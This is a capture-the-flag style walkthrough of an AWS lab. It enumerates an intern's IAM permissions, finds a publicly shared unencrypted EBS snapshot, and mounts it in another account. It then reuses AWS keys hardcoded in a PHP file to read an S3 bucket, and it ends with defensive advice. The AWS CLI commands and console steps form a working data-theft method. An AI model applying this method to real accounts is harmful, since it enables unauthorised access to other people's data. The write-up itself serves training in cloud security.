Post

Loot Public EBS Snapshots

Loot Public EBS Snapshots

Scenario

Huge Logistics, a titan in their industry, has invited you to simulate an “assume breach” scenario. They’re handing you the keys to their kingdom - albeit, the basic AWS credentials of a fresh intern. Your mission, should you choose to accept it, is to navigate their intricate cloud maze, starting from this humble entry. Gain situational awareness, identify weak spots, and test the waters to see how far you can elevate your access. Can you navigate this digital labyrinth and prove that even the smallest breach can pose significant threats? The challenge is set. The game is on.

Learning outcomes

  • S3 bucket enumeration and file transfer
  • IAM user policy enumeration
  • EBS snapshot enumeration
  • EBS public snapshot exfiltration and plundering
  • Understanding of mitigations and best practices that could have prevented the attack

There’s an article and research by Ben Morris regarding publicly exposed EBS volumes.

Walkthrough

We are given credentials for intern user

1
2
3
4
5
6
7
└─$ aws sts get-caller-identity
{
    "UserId": "AIDARQVIRZ4UJNTLTYGWU",
    "Account": "104506445608",
    "Arn": "arn:aws:iam::104506445608:user/intern"
}

If we check user policies, we see that we have PublicSnapper policy attached

1
2
3
4
5
6
7
8
9
10
└─$ aws iam list-attached-user-policies --user-name intern
{
    "AttachedPolicies": [
        {
            "PolicyName": "PublicSnapper",
            "PolicyArn": "arn:aws:iam::104506445608:policy/PublicSnapper"
        }
    ]
}

We see that this policy has 9 versions

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
└─$ aws iam get-policy --policy-arn arn:aws:iam::104506445608:policy/PublicSnapper
{
    "Policy": {
        "PolicyName": "PublicSnapper",
        "PolicyId": "ANPARQVIRZ4UD6B2PNSLD",
        "Arn": "arn:aws:iam::104506445608:policy/PublicSnapper",
        "Path": "/",
        "DefaultVersionId": "v9",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "CreateDate": "2023-06-10T22:33:41Z",
        "UpdateDate": "2024-01-15T23:47:11Z",
        "Tags": []
    }
}

Let’s check the latest one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
└─$ aws iam get-policy-version --policy-arn arn:aws:iam::104506445608:policy/PublicSnapper --version-id v9
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Sid": "Intern1",
                    "Effect": "Allow",
                    "Action": "ec2:DescribeSnapshotAttribute",
                    "Resource": "arn:aws:ec2:us-east-1::snapshot/snap-0c0679098c7a4e636"
                },
                {
                    "Sid": "Intern2",
                    "Effect": "Allow",
                    "Action": "ec2:DescribeSnapshots",
                    "Resource": "*"
                },
                {
                    "Sid": "Intern3",
                    "Effect": "Allow",
                    "Action": [
                        "iam:GetPolicyVersion",
                        "iam:GetPolicy",
                        "iam:ListAttachedUserPolicies"
                    ],
                    "Resource": [
                        "arn:aws:iam::104506445608:user/intern",
                        "arn:aws:iam::104506445608:policy/PublicSnapper"
                    ]
                },
                {
                    "Sid": "Intern4",
                    "Effect": "Allow",
                    "Action": [
                        "ebs:ListSnapshotBlocks",
                        "ebs:GetSnapshotBlock"
                    ],
                    "Resource": "*"
                }
            ]
        },
        "VersionId": "v9",
        "IsDefaultVersion": true,
        "CreateDate": "2024-01-15T23:47:11Z"
    }
}

We see that we have ec2:DescribeSnapshotAttribute and ec2:DescribeSnapshots permissions. ec2:DescribeSnapshotAttribute is restricted to arn:aws:ec2:us-east-1::snapshot/snap-0c0679098c7a4e636 snapshot, while ec2:DescribeSnapshots applies to all snapshots.

Since we have permissions for enumeration, let’s do that with owner id 104506445608

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
└─$ aws ec2 describe-snapshots --owner-ids 104506445608 --region us-east-1
{
    "Snapshots": [
        {
            "Tags": [
                {
                    "Key": "Name",
                    "Value": "PublicSnapper"
                }
            ],
            "StorageTier": "standard",
            "TransferType": "standard",
            "CompletionTime": "2023-06-12T15:22:57.924Z",
            "FullSnapshotSizeInBytes": 8589934592,
            "SnapshotId": "snap-0c0679098c7a4e636",
            "VolumeId": "vol-0ac1d3295a12e424b",
            "State": "completed",
            "StartTime": "2023-06-12T15:20:20.580Z",
            "Progress": "100%",
            "OwnerId": "104506445608",
            "Description": "Created by CreateImage(i-06d9095368adfe177) for ami-07c95fb3e41cb227c",
            "VolumeSize": 8,
            "Encrypted": false
        },
        {
            "StorageTier": "standard",
            "TransferType": "standard",
            "CompletionTime": "2025-06-19T22:33:29.074Z",
            "FullSnapshotSizeInBytes": 17292066816,
            "SnapshotId": "snap-066fa59e447f4a3bb",
            "VolumeId": "vol-09149587639d7b804",
            "State": "completed",
            "StartTime": "2025-06-19T22:19:01.086Z",
            "Progress": "100%",
            "OwnerId": "104506445608",
            "Description": "Created by CreateImage(i-0199bf97fb9d996f1) for ami-00dfda8bd38c09420",
            "VolumeSize": 24,
            "Encrypted": false
        }
    ]
}

Seems like we can enumerate snapshot, which seems to be not encrypted. Now, we have to find who has createVolumePermission, since current account doesn’t have permissions. If we able to create a volume from a snapshot, this would allow it to be attached and mounted on an EC2 instance.

Let’s check who has createVolumePermission permissions over snapshot

1
2
3
4
5
6
7
8
9
└─$ aws ec2 describe-snapshot-attribute --attribute createVolumePermission --snapshot-id snap-0c0679098c7a4e636 --region us-east-1
{
    "SnapshotId": "snap-0c0679098c7a4e636",
    "CreateVolumePermissions": [
        {
            "Group": "all"
        }
    ]
}

We see that Group is set to all, which means that it’s publicly accessible snapshot and any AWS user will be able to create a volume from this public snapshot into their AWS Account. We can also enumerate public snapshots with the command below

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
└─$ aws ec2 describe-snapshots --owner-id self --restorable-by-user-ids all --no-paginate --region us-east-1
{
    "Snapshots": [
        {
            "Tags": [
                {
                    "Key": "Name",
                    "Value": "PublicSnapper"
                }
            ],
            "StorageTier": "standard",
            "TransferType": "standard",
            "CompletionTime": "2023-06-12T15:22:57.924Z",
            "FullSnapshotSizeInBytes": 8589934592,
            "SnapshotId": "snap-0c0679098c7a4e636",
            "VolumeId": "vol-0ac1d3295a12e424b",
            "State": "completed",
            "StartTime": "2023-06-12T15:20:20.580Z",
            "Progress": "100%",
            "OwnerId": "104506445608",
            "Description": "Created by CreateImage(i-06d9095368adfe177) for ami-07c95fb3e41cb227c",
            "VolumeSize": 8,
            "Encrypted": false
        }
    ]
}

Now, we need to use own AWS account and navigate to AWS Management Console. First, we set region to us-east-1. Then we go to EC2 service and click Snapshots => Public Snapshots from dropdown menu. Click Search field and select Snapshot ID from the list, then select Snapshot ID =. Then, paste the value of EBS snapshot ID we found and click Use "Snapshot ID = snap-0c0679098c7a4e636".

Then select the snapshot and click Actions. In dropdown menu, select Create volume from snapshot with default values and click Create volume

Confirm that the volume has been created

Click on the created volume and check the availability zone

Now, we can create new EC2 instance in the same zone using t3.micro, which is in the free tier. Set key pair for connection and click Edit in Network Settings, where we have to set Availability Zone to match the availability zone of the volume (in my case us-east-1a)

After launching instance, head back to the volume and click Actions and select Attach volume and set instance to recently created EC2.

Now we can connect to our instance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
└─$ ssh -i aws-default-key.pem ec2-user@ec2-44-204-159-32.compute-1.amazonaws.com
The authenticity of host 'ec2-44-204-159-32.compute-1.amazonaws.com (44.204.159.32)' can't be established.
ED25519 key fingerprint is SHA256:VFkY9eyLSAq/PHXhCVwCWHu/bSBnsbUrz2Df9zO876E.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'ec2-44-204-159-32.compute-1.amazonaws.com' (ED25519) to the list of known hosts.
   ,     #_
   ~\_  ####_        Amazon Linux 2023
  ~~  \_#####\
  ~~     \###|
  ~~       \#/ ___   https://aws.amazon.com/linux/amazon-linux-2023
   ~~       V~' '->
    ~~~         /
      ~~._.   _/
         _/ _/
       _/m/'
[ec2-user@ip-172-31-84-54 ~]$ 

List storage devices with lsblk and we see nvme1n1 device

1
2
3
4
5
6
7
8
9
10
11
[ec2-user@ip-172-31-84-54 ~]$ lsblk
NAME          MAJ:MIN RM  SIZE RO TYPE MOUNTPOINTS
nvme0n1       259:0    0    8G  0 disk 
├─nvme0n1p1   259:1    0    8G  0 part /
├─nvme0n1p127 259:2    0    1M  0 part 
└─nvme0n1p128 259:3    0   10M  0 part /boot/efi
nvme1n1       259:4    0    8G  0 disk 
├─nvme1n1p1   259:5    0  7.9G  0 part 
├─nvme1n1p14  259:6    0    4M  0 part 
└─nvme1n1p15  259:7    0  106M  0 part 

Now create directory and mount volume nvme1n1p1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[ec2-user@ip-172-31-84-54 ~]$ mkdir volume
[ec2-user@ip-172-31-84-54 ~]$ sudo mount -t ext4 /dev/nvme1n1p1 volume/
[ec2-user@ip-172-31-84-54 ~]$ ls -lha volume/
total 84K
drwxr-xr-x. 19 root     root     4.0K Jun 12  2023 .
drwx------.  4 ec2-user ec2-user   88 Aug 16 17:16 ..
lrwxrwxrwx.  1 root     root        7 May 16  2023 bin -> usr/bin
drwxr-xr-x.  4 root     root     4.0K May 16  2023 boot
drwxr-xr-x.  4 root     root     4.0K May 16  2023 dev
drwxr-xr-x. 95 root     root     4.0K Jun 12  2023 etc
drwxr-xr-x.  4 root     root     4.0K Jun 12  2023 home
lrwxrwxrwx.  1 root     root        7 May 16  2023 lib -> usr/lib
lrwxrwxrwx.  1 root     root        9 May 16  2023 lib32 -> usr/lib32
lrwxrwxrwx.  1 root     root        9 May 16  2023 lib64 -> usr/lib64
lrwxrwxrwx.  1 root     root       10 May 16  2023 libx32 -> usr/libx32
drwx------.  2 root     root      16K May 16  2023 lost+found
drwxr-xr-x.  2 root     root     4.0K May 16  2023 media
drwxr-xr-x.  2 root     root     4.0K May 16  2023 mnt
drwxr-xr-x.  3 root     root     4.0K Jun 12  2023 opt
drwxr-xr-x.  2 root     root     4.0K Apr 18  2022 proc
drwx------.  7 root     root     4.0K Jun 12  2023 root
drwxr-xr-x.  5 root     root     4.0K May 16  2023 run
lrwxrwxrwx.  1 root     root        8 May 16  2023 sbin -> usr/sbin
drwxr-xr-x.  8 root     root     4.0K May 16  2023 snap
drwxr-xr-x.  2 root     root     4.0K May 16  2023 srv
drwxr-xr-x.  2 root     root     4.0K Apr 18  2022 sys
drwxrwxrwt. 11 root     root     4.0K Jun 12  2023 tmp
drwxr-xr-x. 14 root     root     4.0K May 16  2023 usr
drwxr-xr-x. 13 root     root     4.0K May 16  2023 var

We find intern user, but can’t access it

1
2
3
4
5
6
7
[ec2-user@ip-172-31-84-54 ~]$ ls -lha volume/home/
total 16K
drwxr-xr-x.  4 root     root     4.0K Jun 12  2023 .
drwxr-xr-x. 19 root     root     4.0K Jun 12  2023 ..
drwxr-x---.  6     1001     1001 4.0K Jun 12  2023 intern
drwxr-x---.  4 ec2-user ec2-user 4.0K Jun 12  2023 ubuntu

Elevate to root and list the content

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[ec2-user@ip-172-31-84-54 ~]$ sudo su
[root@ip-172-31-84-54 ec2-user]# ls -lha volume/home/intern/
total 40K
drwxr-x---. 6 1001 1001 4.0K Jun 12  2023 .
drwxr-xr-x. 4 root root 4.0K Jun 12  2023 ..
-rw-------. 1 1001 1001  492 Jun 12  2023 .bash_history
-rw-r--r--. 1 1001 1001  220 Jan  6  2022 .bash_logout
-rw-r--r--. 1 1001 1001 3.7K Jan  6  2022 .bashrc
drwx------. 2 1001 1001 4.0K Jun 12  2023 .cache
drwxrwxr-x. 3 1001 1001 4.0K Jun 12  2023 .local
-rw-r--r--. 1 1001 1001  807 Jan  6  2022 .profile
drwx------. 2 1001 1001 4.0K Jun 12  2023 .ssh
drwxrwxr-x. 2 1001 1001 4.0K Jun 12  2023 practice_files
[root@ip-172-31-84-54 ec2-user]# ls -lha volume/home/intern/practice_files/
total 12K
drwxrwxr-x. 2 1001 1001 4.0K Jun 12  2023 .
drwxr-x---. 6 1001 1001 4.0K Jun 12  2023 ..
-rw-rw-r--. 1 1001 1001 1.1K Jun 12  2023 s3_download_file.php

We found AWS keys in s3_download_file.php and reference to bucket

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
[root@ip-172-31-84-54 ec2-user]# cat volume/home/intern/practice_files/s3_download_file.php 
<?php
  $BUCKET_NAME = 'ecorp-client-data';
  $IAM_KEY = 'AKIARQVIRZ4UDSDT72VT';
  $IAM_SECRET = '<REDACTED>;
  require '/opt/vendor/autoload.php';
  use Aws\S3\S3Client;
  use Aws\S3\Exception\S3Exception;
 
  $keyPath = 'test.csv'; // file name(can also include the folder name and the file name. eg."member1/IoT-Arduino-Monitor-circuit.png")
    
//S3 connection 
  try {
    $s3 = S3Client::factory(
      array(
        'credentials' => array(
          'key' => $IAM_KEY,
          'secret' => $IAM_SECRET
        ),
        'version' => 'latest',
        'region'  => 'us-east-1'
      )
    );
    //to get the file information from S3
    $result = $s3->getObject(array(
      'Bucket' => $BUCKET_NAME,
      'Key'    => $keyPath
    ));
    
    header("Content-Type: {$result['ContentType']}");
    header('Content-Disposition: filename="' . basename($keyPath) . '"'); // used to download the file.
    echo $result['Body'];
  } catch (Exception $e) {
    die("Error: " . $e->getMessage());
  }
?>

Let’s authenticate with aws configure and check the bucket

1
2
3
4
└─$ aws s3 ls ecorp-client-data
2023-06-13 02:32:59       3473 ecorp_dr_logistics.csv
2023-06-13 02:33:00         32 flag.txt
2023-06-12 21:04:25          7 test.csv

Get our flag

1
2
└─$ aws s3 cp s3://ecorp-client-data/flag.txt -
<REDACTED>   

Defense

This part is from lab’s defense section

AWS periodically notify customers that have public snapshots, and also state very clearly on the Edit AMI permissions and Modify permissions screen that this is not a recommended setting.

If you identify that an unencrypted snapshot in your AWS account has been publicly exposed, you can:

  • Make it private
  • Rotate any credentials that were on it
  • Do an investigation of how it came to be publicly exposed

To identify public snapshots

1
aws ec2 describe-snapshots --owner-id self --restorable-by-user-ids all --no-paginate

DataDog’s Stratus Red Team documentation provides two sample CloudTrail events to monitor, for when a snapshot is made public and when attacker copies the snapshot to their own AWS account or creates an EBS volume for it, respectively.

Resources;

This post is licensed under CC BY 4.0 by the author.